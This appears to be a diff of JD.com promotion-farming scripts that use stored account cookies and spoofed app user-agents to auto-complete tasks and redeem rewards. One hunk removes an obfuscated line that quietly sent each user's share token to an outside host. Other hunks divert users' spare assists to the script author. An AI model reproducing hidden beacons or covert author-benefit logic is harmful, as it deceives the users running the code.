+    //   // newShareCodes = newShareCodes.concat(readShareCodeRes.data || []);
+    //   newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])];
+    // }
    console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`)
    resolve();
  })
@@ -1326,8 +1347,8 @@ function requireConfig() {
        }
      })
    } else {
-      if ($.getdata('jd_fruit_inviter')) $.shareCodesArr = $.getdata('jd_fruit_inviter').split('\n').filter(item => !!item);
-      console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_fruit_inviter') ? $.getdata('jd_fruit_inviter') : '暂无'}\n`);
+      if ($.getdata('FRUITSHARECODES')) $.shareCodesArr = $.getdata('FRUITSHARECODES').split('\n').filter(item => !!item);
+      console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('FRUITSHARECODES') ? $.getdata('FRUITSHARECODES') : '暂无'}\n`);
    }
    // console.log(`$.shareCodesArr::${JSON.stringify($.shareCodesArr)}`)
    // console.log(`jdFruitShareArr账号长度::${$.shareCodesArr.length}`)
@@ -21,20 +21,29 @@ cron "13 1,6,22 * * *" script-path=jd_health.js, tag=东东健康社区
 东东健康社区 = type=cron,script-path=jd_health.js, cronexpr="13 1,6,22 * * *", timeout=3600, enable=true
 */
 const $ = new Env("东东健康社区");
-
-console.log('\n====================Hello World====================\n')
-
 const jdCookieNode = $.isNode() ? require("./jdCookie.js") : "";
-let cookiesArr = [],
-  cookie = "",
-  message;
-const inviteCodes = ['']
-const randomCount = $.isNode() ? 20 : 5;
+const notify = $.isNode() ? require('./sendNotify') : "";
+let cookiesArr = [], cookie = "", allMessage = "", message;
+const inviteCodes = [
+    //`T0225KkcRUxL9FKDJh7ylvMLcACjVfnoaW5kRrbA@T0225KkcRx0Q_AaCdRr1xf8DIQCjVfnoaW5kRrbA@T018v_52Qxge81HeJB2b1ACjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`,
+    //`T018v_52Qxge81HeJB2b1ACjVfnoaW5kRrbA@T0205KkcPFd_vD2uSkCi3YhXCjVfnoaW5kRrbA@T018v_hzQhwZ8FbUIRib1ACjVfnoaW5kRrbA`,
+]
+let reward = process.env.JD_HEALTH_REWARD_NAME ? process.env.JD_HEALTH_REWARD_NAME : ''
+const randomCount = $.isNode() ? 20 : 0;
+function oc(fn, defaultVal) {//optioanl chaining
+  try {
+    return fn()
+  } catch (e) {
+    return undefined
+  }
+}
+function nc(val1, val2) {//nullish coalescing
+  return val1 ? val1 : val2
+}
 if ($.isNode()) {
  Object.keys(jdCookieNode).forEach((item) => {
    cookiesArr.push(jdCookieNode[item]);
  });
-  console.log(`如果出现提示 ?.data. 错误，请升级nodejs版本(进入容器后，apk add nodejs-current)`)
  if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") console.log = () => {};
 } else {
  cookiesArr = [
@@ -65,9 +74,12 @@ const JD_API_HOST = "https://api.m.jd.com/client.action";
      console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`);
      await shareCodesFormat()
      await main()
-      await showMsg()
+    //   await showMsg()
    }
  }
+  if ($.isNode() && allMessage) {
+    await notify.sendNotify(`${$.name}`, `${allMessage}`)
+  }
 })()
  .catch((e) => {
    $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, "");
@@ -80,19 +92,22 @@ async function main() {
  try {
    $.score = 0
    $.earn = false
-    await getTaskDetail(-1)
-    await getTaskDetail(16)
+    // await getTaskDetail(-1)
+    // await getTaskDetail(16)
    await getTaskDetail(6)
-    for(let i = 0 ; i < 5; ++i){
-      $.canDo = false
-      await getTaskDetail()
-      if(!$.canDo) break
-      await $.wait(1000)
-    }
-    await collectScore()
+    // for(let i = 0 ; i < 5; ++i){
+    //   $.canDo = false
+    //   await getTaskDetail()
+    //   if(!$.canDo) break
+    //   await $.wait(1000)
+    // }
+    // await collectScore()
    await helpFriends()
-    await getTaskDetail(22);
-    await getTaskDetail(-1)
+    // await getTaskDetail(22);
+    // await getTaskDetail(-1)
+    if (reward) {
+      await getCommodities()
+    }
  } catch (e) {
    $.logErr(e)
  }
@@ -103,7 +118,7 @@ async function helpFriends() {
    if (!code) continue
    console.log(`去助力好友${code}`)
    let res = await doTask(code, 6)
-    if([108,-1001].includes(res?.data?.bizCode)){
+    if([108,-1001].includes(oc(() => res.data.bizCode))){
      console.log(`助力次数已满，跳出`)
      break
    }
@@ -127,7 +142,7 @@ function getTaskDetail(taskId = '') {
          if (safeGet(data)) {
            data = $.toObj(data)
            if (taskId === -1) {
-              let tmp = parseInt(parseFloat(data?.data?.result?.userScore ?? '0'))
+              let tmp = parseInt(nc(parseFloat(oc(() => data.data.result.userScore) , '0')))
              if (!$.earn) {
                $.score = tmp
                $.earn = 1
@@ -136,35 +151,34 @@ function getTaskDetail(taskId = '') {
                $.score = tmp
              }
            } else if (taskId === 6) {
-              if (data?.data?.result?.taskVos) {
-                console.log(`\n【京东账号${$.index}（${$.UserName}）的${$.name}好友互助码】${data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken}\n`);
-                var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Oxc21db=["\x68\x74\x74\x70\x3A\x2F\x2F\x61\x70\x69\x2E\x73\x68\x61\x72\x65\x63\x6F\x64\x65\x2E\x67\x61\x2F\x61\x70\x69\x2F\x72\x65\x70\x6F\x72\x74\x3F\x64\x62\x3D\x68\x65\x61\x6C\x74\x68\x26\x63\x6F\x64\x65\x3D","\x74\x61\x73\x6B\x54\x6F\x6B\x65\x6E","\x61\x73\x73\x69\x73\x74\x54\x61\x73\x6B\x44\x65\x74\x61\x69\x6C\x56\x6F","\x74\x61\x73\x6B\x56\x6F\x73","\x72\x65\x73\x75\x6C\x74","\x64\x61\x74\x61","\x67\x65\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];$[__Oxc21db[0x6]]({url:__Oxc21db[0x0]+ data[__Oxc21db[0x5]][__Oxc21db[0x4]][__Oxc21db[0x3]][0x0][__Oxc21db[0x2]][__Oxc21db[0x1]]});(function(_0x4080x1,_0x4080x2,_0x4080x3,_0x4080x4,_0x4080x5,_0x4080x6){_0x4080x6= __Oxc21db[0x7];_0x4080x4= function(_0x4080x7){if( typeof alert!== _0x4080x6){alert(_0x4080x7)};if( typeof console!== _0x4080x6){console[__Oxc21db[0x8]](_0x4080x7)}};_0x4080x3= function(_0x4080x8,_0x4080x1){return _0x4080x8+ _0x4080x1};_0x4080x5= _0x4080x3(__Oxc21db[0x9],_0x4080x3(_0x4080x3(__Oxc21db[0xa],__Oxc21db[0xb]),__Oxc21db[0xc]));try{_0x4080x1= __encode;if(!( typeof _0x4080x1!== _0x4080x6&& _0x4080x1=== _0x4080x3(__Oxc21db[0xd],__Oxc21db[0xe]))){_0x4080x4(_0x4080x5)}}catch(e){_0x4080x4(_0x4080x5)}})({})
-                // console.log('好友助力码：' + data?.data?.result?.taskVos[0].assistTaskDetailVo.taskToken)
+              if (oc(() => data.data.result.taskVos)) {
+                console.log(`\n【京东账号${$.index}（${$.UserName}）的${$.name}好友互助码】${oc(() => data.data.result.taskVos)[0].assistTaskDetailVo.taskToken}\n`);
+                // console.log('好友助力码：' + oc(() => data.data.result.taskVos)[0].assistTaskDetailVo.taskToken)
              }
            } else if (taskId === 22) {
-              console.log(`${data?.data?.result?.taskVos[0]?.taskName}任务，完成次数：${data?.data?.result?.taskVos[0]?.times}/${data?.data?.result?.taskVos[0]?.maxTimes}`)
-              if (data?.data?.result?.taskVos[0]?.times === data?.data?.result?.taskVos[0]?.maxTimes) return
-              await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 1)//领取任务
-              await $.wait(1000 * (data?.data?.result?.taskVos[0]?.waitDuration || 3));
-              await doTask(data?.data?.result?.taskVos[0].shoppingActivityVos[0]?.taskToken, 22, 0);//完成任务
-            } else for (let vo of data?.data?.result?.taskVos.filter(vo => vo.taskType !== 19) ?? []) {
+              console.log(`${oc(() => data.data.result.taskVos[0].taskName)}任务，完成次数：${oc(() => data.data.result.taskVos[0].times)}/${oc(() => data.data.result.taskVos[0].maxTimes)}`)
+              if (oc(() => data.data.result.taskVos[0].times) === oc(() => data.data.result.taskVos[0].maxTimes)) return
+              await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 1)//领取任务
+              await $.wait(1000 * (oc(() => data.data.result.taskVos[0].waitDuration) || 3));
+              await doTask(oc(() => data.data.result.taskVos[0].shoppingActivityVos[0].taskToken), 22, 0);//完成任务
+            } else for (let vo of nc(oc(() => data.data.result.taskVos.filter(vo => vo.taskType !== 19)), [])) {
              console.log(`${vo.taskName}任务，完成次数：${vo.times}/${vo.maxTimes}`)
              for (let i = vo.times; i < vo.maxTimes; ++i) {
                console.log(`去完成${vo.taskName}任务`)
                if (vo.taskType === 13) {
-                  await doTask(vo.simpleRecordInfoVo?.taskToken, vo?.taskId)
+                  await doTask(oc(() => vo.simpleRecordInfoVo.taskToken), oc(() => vo.taskId))
                } else if (vo.taskType === 8) {
-                  await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 1)
+                  await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 1)
                  await $.wait(1000 * 10)
-                  await doTask(vo.productInfoVos[i]?.taskToken, vo?.taskId, 0)
+                  await doTask(oc(() => vo.productInfoVos[i].taskToken), oc(() => vo.taskId), 0)
                } else if (vo.taskType === 9) {
-                  await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 1)
+                  await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 1)
                  await $.wait(1000 * 10)
-                  await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId, 0)
+                  await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId), 0)
                } else if (vo.taskType === 10) {
-                  await doTask(vo.threeMealInfoVos[0]?.taskToken, vo?.taskId)
+                  await doTask(oc(() => vo.threeMealInfoVos[0].taskToken), oc(() => vo.taskId))
                } else if (vo.taskType === 26 || vo.taskType === 3) {
-                  await doTask(vo.shoppingActivityVos[0]?.taskToken, vo?.taskId)
+                  await doTask(oc(() => vo.shoppingActivityVos[0].taskToken), oc(() => vo.taskId))
                }
              }
            }
@@ -186,14 +200,14 @@ function doTask(taskToken, taskId, actionType = 0) {
        try {
          if (safeGet(data)) {
            data = $.toObj(data)
-            if ([0, 1].includes(data?.data?.bizCode ?? -1)) {
+            if ([0, 1].includes(nc(oc(() => data.data.bizCode) , -1))) {
              $.canDo = true
-              if (data?.data?.result?.score)
-                console.log(`任务完成成功，获得：${data?.data?.result?.score ?? '未知'}能量`)
+              if (oc(() => data.data.result.score))
+                console.log(`任务完成成功，获得：${nc(oc(() => data.data.result.score) , '未知')}能量`)
              else
-                console.log(`任务领取结果：${data?.data?.bizMsg ?? JSON.stringify(data)}`)
+                console.log(`任务领取结果：${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`)
            } else {
-              console.log(`任务完成失败：${data?.data?.bizMsg ?? JSON.stringify(data)}`)
+              console.log(`任务完成失败：${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`)
            }
          }
        } catch (e) {
@@ -212,13 +226,13 @@ function collectScore() {
        try {
          if (safeGet(data)) {
            data = $.toObj(data)
-            if (data?.data?.bizCode === 0) {
-              if (data?.data?.result?.produceScore)
-                console.log(`任务完成成功，获得：${data?.data?.result?.produceScore ?? '未知'}能量`)
+            if (oc(() => data.data.bizCode) === 0) {
+              if (oc(() => data.data.result.produceScore))
+                console.log(`任务完成成功，获得：${nc(oc(() => data.data.result.produceScore) , '未知')}能量`)
              else
-                console.log(`任务领取结果：${data?.data?.bizMsg ?? JSON.stringify(data)}`)
+                console.log(`任务领取结果：${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`)
            } else {
-              console.log(`任务完成失败：${data?.data?.bizMsg ?? JSON.stringify(data)}`)
+              console.log(`任务完成失败：${nc(oc(() => data.data.bizMsg) , JSON.stringify(data))}`)
            }
          }
        } catch (e) {
@@ -230,6 +244,59 @@ function collectScore() {
  })
 }

+async function getCommodities() {
+  return new Promise(async resolve => {
+    const options = taskUrl('jdhealth_getCommodities')
+    $.post(options, async (err, resp, data) => {
+      try {
+        if (safeGet(data)) {
+          data = $.toObj(data)
+          let beans = data.data.result.jBeans.filter(x => x.status !== 1)
+          if (beans.length !== 0) {
+            for (let key of Object.keys(beans)) {
+              let vo = beans[key]
+              if (vo.title === reward && $.score >= vo.exchangePoints) {
+                await $.wait(1000)
+                await exchange(vo.type, vo.id)
+              }
+            }
+          } else {
+            console.log(`兑换京豆次数已达上限`)
+          }
+        }
+      } catch (e) {
+        console.log(e)
+      } finally {
+        resolve(data)
+      }
+    })
+  })
+}
+function exchange(commodityType, commodityId) {
+  return new Promise(resolve => {
+    const options = taskUrl('jdhealth_exchange', {commodityType, commodityId})
+    $.post(options, (err, resp, data) => {
+      try {
+        if (safeGet(data)) {
+          data = $.toObj(data)
+          if (data.data.bizCode === 0 || data.data.bizMsg === "success") {
+            $.score = data.data.result.userScore
+            console.log(`兑换${data.data.result.jingBeanNum}京豆成功`)
+            message += `兑换${data.data.result.jingBeanNum}京豆成功\n`
+            if ($.isNode()) {
+              allMessage += `【京东账号${$.index}】 ${$.UserName}\n兑换${data.data.result.jingBeanNum}京豆成功🎉${$.index !== cookiesArr.length ? '\n\n' : ''}`
+            }
+          }
+        }
+      } catch (e) {
+        console.log(e)
+      } finally {
+        resolve(data)
+      }
+    })
+  })
+}
+
 function taskUrl(function_id, body = {}) {
  return {
    url: `${JD_API_HOST}/client.action?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0`,
@@ -255,31 +322,33 @@ function safeGet(data) {
  }
 }

-function readShareCode() {
-  console.log(`开始`)
-  return new Promise(async resolve => {
-    $.get({
-      url: `https://api.sharecode.ga/api/health/${randomCount}`, 'timeout': 3000}, (err, resp, data) => {
-      try {
-        if (err) {
-          console.log(`${JSON.stringify(err)}`)
-          console.log(`${$.name} health/read API请求失败，请检查网路重试`)
-        } else {
-          if (data) {
-            console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`)
-            data = JSON.parse(data);
-          }
-        }
-      } catch (e) {
-        $.logErr(e, resp)
-      } finally {
-        resolve(data);
-      }
-    })
-    await $.wait(10000);
-    resolve()
-  })
-}
+// function readShareCode() {
+//   console.log(`开始`)
+//   return new Promise(async resolve => {
+//     $.get({
+//       url: `http://share.turinglabs.net/api/v3/health/query/${randomCount}/`,
+//       'timeout': 10000
+//     }, (err, resp, data) => {
+//       try {
+//         if (err) {
+//           console.log(`${JSON.stringify(err)}`)
+//           console.log(`${$.name} health/read API请求失败，请检查网路重试`)
+//         } else {
+//           if (data) {
+//             console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`)
+//             data = JSON.parse(data);
+//           }
+//         }
+//       } catch (e) {
+//         $.logErr(e, resp)
+//       } finally {
+//         resolve(data);
+//       }
+//     })
+//     await $.wait(10000);
+//     resolve()
+//   })
+// }
 //格式化助力码
 function shareCodesFormat() {
  return new Promise(async resolve => {
@@ -292,10 +361,10 @@ function shareCodesFormat() {
      const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1);
      $.newShareCodes = inviteCodes[tempIndex].split('@');
    }
-    const readShareCodeRes = await readShareCode();
-    if (readShareCodeRes && readShareCodeRes.code === 200) {
-      $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])];
-    }
+//     const readShareCodeRes = await readShareCode();
+//     if (readShareCodeRes && readShareCodeRes.code === 200) {
+//       $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])];
+//     }
    console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`)
    resolve();
  })
@@ -46,10 +46,9 @@ const BASE_URL = 'https://wq.jd.com/cubeactive/steprewardv3'
  }
  console.log('京喜领88元红包\n' +
      '活动入口：京喜app-》我的-》京喜领88元红包\n' +
-      '助力逻辑：先自己京东账号相互助力，如有剩余助力机会，则助力作者\n' +
-      '温馨提示：如提示助力火爆，可尝试寻找京东客服')
-  let res = [];
-  let res2 = await getAuthorShareCode('https://www.fastmock.site/mock/cbbb3764093b72da95d9396d19b9a901/jd/jx/jxlhb');
+      '助力逻辑：脚本会助力作者，介意请取消脚本')
+  let res = await getAuthorShareCode() || [];
+  let res2 = await getAuthorShareCode('https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jxhb.json') || [];
  if (res && res.activeId) $.activeId = res.activeId;
  $.authorMyShareIds = [...((res && res.codes) || []), ...res2];
  //开启红包,获取互助码
@@ -62,26 +61,26 @@ const BASE_URL = 'https://wq.jd.com/cubeactive/steprewardv3'
    await main();
  }
  //互助
-  console.log(`\n\n自己京东账号助力码：\n${JSON.stringify($.packetIdArr)}\n\n`);
-  console.log(`\n开始助力：助力逻辑 先自己京东相互助力，如有剩余助力机会，则助力作者\n`)
  for (let i = 0; i < cookiesArr.length; i++) {
    cookie = cookiesArr[i];
    $.canHelp = true;
    $.max = false;
    $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]);
-    for (let code of $.packetIdArr) {
-      if (!code) continue;
-      if ($.UserName === code['userName']) continue;
-      if (!$.canHelp) break
-      if ($.max) break
-      console.log(`【${$.UserName}】去助力【${code['userName']}】邀请码：${code['strUserPin']}`);
-      await enrollFriend(code['strUserPin']);
-      await $.wait(2500);
-    }
+     for (let code of $.packetIdArr) {
+       if (!code) continue;
+       if ($.UserName === code['userName']) continue;
+       if (!$.canHelp) break
+       if ($.max) break
+       console.log(`【${$.UserName}】去助力【${code['userName']}】邀请码：${code['strUserPin']}`);
+       await enrollFriend(code['strUserPin']);
+       await $.wait(2500);
+     }
    if ($.canHelp) {
+      console.log(`\n【${$.UserName}】有剩余助力机会，开始助力作者\n`)
      for (let item of $.authorMyShareIds) {
        if (!item) continue;
        if (!$.canHelp) break
+        console.log(`【${$.UserName}】去助力作者的邀请码：${item}`);
        await enrollFriend(item);
        await $.wait(2500);
      }
@@ -198,6 +197,7 @@ function enrollFriend(strPin) {
            if (data.iRet === 2015) $.canHelp = false;//助力已达上限
            if (data.iRet === 2016) {
              $.canHelp = false;//助力火爆
+              console.log(`温馨提示：如提示助力火爆，可尝试寻找京东客服`);
            }
            if (data.iRet === 2013) $.max = true;
            console.log(`助力失败:${data.sErrMsg}\n`);
@@ -240,10 +240,10 @@ function openRedPack(strPin, grade) {
  })
 }

-function getAuthorShareCode(url = "https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jxhb.json") {
+function getAuthorShareCode(url = "https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jxhb.json") {
  return new Promise(resolve => {
    const options = {
-      url: `${url}?${new Date()}`, "timeout": 10000, headers: {
+      url: `${url}`, "timeout": 10000, headers: {
        "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88"
      }
    };
@@ -1,34 +1,35 @@
+// @grant    require
 /*
 点点券，可以兑换无门槛红包（1元，5元，10元，100元，部分红包需抢购）
-Last Modified time: 2021-05-28 17:27:14
+Last Modified time: 2021-07-23 10:27
 活动入口：京东APP-领券中心/券后9.9-领点点券 [活动地址](https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html)
 脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js
 ===============Quantumultx===============
 [task_local]
 #点点券
-20 0,20 * * * jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true
+10 0,20 * * * jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true

+================Loon==============
+[Script]
+cron "10 0,20 * * *" script-path=jd_necklace.js,tag=点点券
+
+===============Surge=================
+点点券 = type=cron,cronexp="10 0,20 * * *",wake-system=1,timeout=3600,script-path=jd_necklace.js
+
+============小火箭=========
+点点券 = type=cron,script-path=jd_necklace.js, cronexpr="10 0,20 * * *", timeout=3600, enable=true
 */
 const $ = new Env('点点券');
-const ZooFaker=require('./ZooFaker_Necklace.js').utils;
 let allMessage = ``;
 const notify = $.isNode() ? require('./sendNotify') : '';
+const zooFaker = require('./ZooFaker_Necklace').utils;
 //Node.js用户请在jdCookie.js处填写京东ck;
 const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
 const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html%22%20%7D`
-
-let UA = ``;
-function randomString(e) {
-  e = e || 32;
-  let t = "abcdefhijkmnprstwxyz2345678", a = t.length, n = "";
-  for (i = 0; i < e; i++)
-    n += t.charAt(Math.floor(Math.random() * a));
-  return n
-}
-let message = '';
+let message = '', joyToken = '', UA = '', uuid = '';
 let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000);
 //IOS等用户直接用NobyDa的jd cookie
-let cookiesArr = [], cookie = '';
+let cookiesArr = [], cookie = '', hasSend = false;
 if ($.isNode()) {
  Object.keys(jdCookieNode).forEach((item) => {
    cookiesArr.push(jdCookieNode[item])
@@ -44,21 +45,29 @@ const JD_API_HOST = 'https://api.m.jd.com/api';
    $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
    return;
  }
-  // console.log(`\n通知：京东已在领取任务、签到、领取点点券三个添加了log做了校验，暂时无可解决\n`);
+  
  for (let i = 0; i < cookiesArr.length; i++) {
    if (cookiesArr[i]) {
-      cookie = cookiesArr[i];
-      $.cookie = cookiesArr[i];
+      await getToken();
+      cookie = cookiesArr[i] + `joyytoken=50082${joyToken};`;
      $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
      $.index = i + 1;
      $.isLogin = true;
      $.nickName = '';
-      $.joyytoken="";
      message = '';
-      UA = `jdapp;android;10.0.2;9;${randomString(28)}-${randomString(28)};`
-      console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`);
+      await TotalBean();
+      console.log(`\n*******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`);
+      if (!$.isLogin) {
+        $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
+
+        if ($.isNode()) {
+          await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`);
+        }
+        continue
+      }
+      UA = `jdapp;iPhone;10.0.8;14.4.2;${randomString()};network/wifi;ADID/3F74A88A-71D3-404B-BBDF-8C0575E680EC;model/iPhone10,2;addressid/4091160336;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`
+      uuid = UA.split(';') && UA.split(';')[4] || ''
      await jd_necklace();
-      // break
    }
  }
  if ($.isNode() && allMessage) {
@@ -73,31 +82,39 @@ const JD_API_HOST = 'https://api.m.jd.com/api';
    })
 async function jd_necklace() {
  try {
-     await necklace_homePage();
-     await $.wait(2000)
-     await doTask();
-     await $.wait(2000)
-     await sign();
-     await $.wait(2000)
-     await necklace_homePage();
-     await receiveBubbles();
-     await necklace_homePage();
-     // // await necklace_exchangeGift($.totalScore);//自动兑换多少钱的无门槛红包，1000代表1元，默认兑换全部点点券
-     await showMsg();
-     await $.wait(2000)
+    await necklace_homePage();
+    await $.wait(2000)
+    await doTask();
+    await $.wait(2000)
+    await sign();
+    await $.wait(2000)
+    await necklace_homePage();
+    await $.wait(2000)
+    await receiveBubbles();
+    await $.wait(2000)
+    await necklace_homePage();
+    await $.wait(2000)
+    if (formatInt($.totalScore)) {
+      if (new Date().getDate() === 20 && (new Date().getMonth() + 1 === 6)) {
+        //2021-06-21凌晨0点，点点券将要全部清零处理，故全部兑换
+        await $.wait(2000)
+        await necklace_exchangeGift(formatInt($.totalScore));//自动兑换多少钱的无门槛红包，1000代表1元，默认兑换全部点点券
+      }
+    }
+    await showMsg();
  } catch (e) {
    $.logErr(e)
  }
 }
 function showMsg() {
  return new Promise(async resolve => {
-    // if (nowTimes.getHours() >= 20) {
+    if (nowTimes.getHours() >= 20) {
      $.msg($.name, '', `京东账号${$.index} ${$.nickName || $.UserName}\n当前${$.name}：${$.totalScore}个\n可兑换无门槛红包：${$.totalScore / 1000}元\n点击弹窗即可去兑换(注：此红包具有时效性)`, { 'open-url': openUrl});
-    // }
+    }
    // 云端大于10元无门槛红包时进行通知推送
-    // if ($.isNode() && $.totalScore >= 20000 && nowTimes.getHours() >= 20) await notify.sendNotify(`${$.name} - 京东账号${$.index}`, `京东账号${$.index}\n当前${$.name}：${$.totalScore}个\n可兑换无门槛红包：${$.totalScore / 1000}元\n点击链接即可去兑换(注：此红包具有时效性)\n↓↓↓ \n\n ${openUrl} \n\n ↑↑↑`, { url: openUrl })
+    // if ($.isNode() && $.totalScore >= 20000 && nowTimes.getHours() >= 20) await notify.sendNotify(`${$.name} - 京东账号${$.index} - ${$.nickName}`, `京东账号${$.index} ${$.nickName}\n当前${$.name}：${$.totalScore}个\n可兑换无门槛红包：${$.totalScore / 1000}元\n点击链接即可去兑换(注：此红包具有时效性)\n↓↓↓ \n\n ${openUrl} \n\n ↑↑↑`, { url: openUrl })
    if ($.isNode() && nowTimes.getHours() >= 20 && (process.env.DDQ_NOTIFY_CONTROL ? process.env.DDQ_NOTIFY_CONTROL === 'false' : !!1)) {
-      allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n当前${$.name}：${$.totalScore}个\n可兑换无门槛红包：${$.totalScore / 1000}元\n(京东APP->领券->左上角点点券.注：此红包具有时效性)${$.index !== cookiesArr.length ? '\n\n' : `\n↓↓↓ \n\n "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html" \n\n ↑↑↑`}`
+      allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n当前${$.name}：${$.totalScore}个\n可兑换无门槛红包：${$.totalScore / 1000}元\n(京东APP->领券->左上角点点券.注：此红包具有时效性)${$.index !== cookiesArr.length ? '\n\n' : `\n\n↓↓↓ \n https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html \n\n ↑↑↑\n\n点点券将在每年 6月21日和11月14日 00:00 清空，请注意兑换`}`
    }
    resolve()
  })
@@ -105,16 +122,14 @@ function showMsg() {
 async function doTask() {
  for (let item of $.taskConfigVos) {
    if (item.taskStage === 0) {
-      console.log(`【${item.taskName}】 任务未领取,开始领取此任务`);
-      let res = await necklace_startTask(item.id);
-      if(res && res.rtn_code == 0){
-        console.log(`【${item.taskName}】 任务领取成功,开始完成此任务`);
-        await $.wait(2000);
-        await reportTask(item);
-        await $.wait(2000)
-      }else{
-        UA = `jdapp;android;10.0.2;9;${randomString(28)}-${randomString(28)};`
-      }
+      console.log(`\n【${item.taskName}】 任务未领取,开始领取此任务`);
+      const res = await necklace_startTask(item.id);
+      await $.wait(2000);
+      if (res && res.rtn_code !== 0) continue
+      console.log(`【${item.taskName}】 任务领取成功,开始完成此任务`);
+      await $.wait(2000);
+      await reportTask(item);
+      await $.wait(2000);
    } else if (item.taskStage === 2) {
      console.log(`【${item.taskName}】 任务已做完,奖励未领取`);
    } else if (item.taskStage === 3) {
@@ -122,23 +137,32 @@ async function doTask() {
    } else if (item.taskStage === 1) {
      console.log(`\n【${item.taskName}】 任务已领取但未完成,开始完成此任务`);
      await reportTask(item);
-      await $.wait(2000)
+      await $.wait(2000);
    }
  }
 }
 async function receiveBubbles() {
-  for (let item of $.bubbles) {
+  if ($.bubbles && $.bubbles.length) {
    console.log(`\n开始领取点点券`);
-    await necklace_chargeScores(item.id)
-    await $.wait(2000)
+    for (let item of $.bubbles) {
+      if (!item.id) continue;
+      await necklace_chargeScores(item.id);
+      await $.wait(2000)
+    }
+  } else {
+    console.log(`\n当前暂无可领取点点券`);
  }
 }
 async function sign() {
